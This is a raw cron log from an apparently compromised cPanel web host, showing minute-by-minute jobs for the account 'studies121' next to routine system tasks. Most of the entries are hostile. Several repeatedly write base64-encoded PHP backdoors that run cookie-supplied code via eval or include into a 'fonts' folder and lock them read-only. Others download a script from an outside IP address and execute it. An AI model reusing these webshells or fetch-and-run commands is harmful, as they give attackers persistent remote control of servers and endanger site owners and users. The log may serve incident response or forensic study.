Aug 31 00:47:01 ip-184-168-122-23 CROND[1204]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:47:01 ip-184-168-122-23 CROND[1205]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:47:01 ip-184-168-122-23 CROND[1206]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 00:47:01 ip-184-168-122-23 CROND[1208]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 00:48:01 ip-184-168-122-23 CROND[1283]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:48:01 ip-184-168-122-23 CROND[1285]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 00:48:01 ip-184-168-122-23 CROND[1287]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 00:48:01 ip-184-168-122-23 CROND[1286]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 00:48:01 ip-184-168-122-23 CROND[1289]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:49:01 ip-184-168-122-23 CROND[1510]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 00:49:01 ip-184-168-122-23 CROND[1509]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 00:49:01 ip-184-168-122-23 CROND[1511]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:49:01 ip-184-168-122-23 CROND[1512]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:50:01 ip-184-168-122-23 CROND[1609]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:50:01 ip-184-168-122-23 CROND[1611]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:50:01 ip-184-168-122-23 CROND[1615]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 00:50:01 ip-184-168-122-23 CROND[1613]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 00:50:01 ip-184-168-122-23 CROND[1618]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 00:50:01 ip-184-168-122-23 CROND[1619]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 00:50:01 ip-184-168-122-23 CROND[1616]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 00:50:01 ip-184-168-122-23 CROND[1620]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 00:50:01 ip-184-168-122-23 CROND[1614]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 00:51:01 ip-184-168-122-23 CROND[1709]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 00:51:01 ip-184-168-122-23 CROND[1710]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 00:51:01 ip-184-168-122-23 CROND[1711]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:51:01 ip-184-168-122-23 CROND[1713]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:52:01 ip-184-168-122-23 CROND[1812]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 00:52:01 ip-184-168-122-23 CROND[1813]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:52:01 ip-184-168-122-23 CROND[1815]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 00:52:01 ip-184-168-122-23 CROND[1816]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 00:52:01 ip-184-168-122-23 CROND[1817]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:53:01 ip-184-168-122-23 CROND[1904]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:53:01 ip-184-168-122-23 CROND[1905]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:53:01 ip-184-168-122-23 CROND[1906]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 00:53:01 ip-184-168-122-23 CROND[1903]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 00:54:01 ip-184-168-122-23 CROND[1979]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 00:54:01 ip-184-168-122-23 CROND[1981]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 00:54:01 ip-184-168-122-23 CROND[1982]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:54:01 ip-184-168-122-23 CROND[1983]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 00:54:01 ip-184-168-122-23 CROND[1985]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:55:01 ip-184-168-122-23 CROND[2155]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 00:55:01 ip-184-168-122-23 CROND[2165]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 00:55:01 ip-184-168-122-23 CROND[2166]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 00:55:01 ip-184-168-122-23 CROND[2167]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:55:01 ip-184-168-122-23 CROND[2168]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 00:55:01 ip-184-168-122-23 CROND[2164]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:56:01 ip-184-168-122-23 CROND[2254]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 00:56:02 ip-184-168-122-23 CROND[2256]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 00:56:02 ip-184-168-122-23 CROND[2257]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 00:56:02 ip-184-168-122-23 CROND[2259]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:56:02 ip-184-168-122-23 CROND[2258]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:57:01 ip-184-168-122-23 CROND[2344]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 00:57:01 ip-184-168-122-23 CROND[2346]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 00:57:01 ip-184-168-122-23 CROND[2345]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:57:01 ip-184-168-122-23 CROND[2347]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:58:01 ip-184-168-122-23 CROND[2425]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 00:58:01 ip-184-168-122-23 CROND[2427]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 00:58:01 ip-184-168-122-23 CROND[2428]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:58:01 ip-184-168-122-23 CROND[2429]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 00:58:01 ip-184-168-122-23 CROND[2430]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:59:01 ip-184-168-122-23 CROND[2553]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:59:01 ip-184-168-122-23 CROND[2557]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
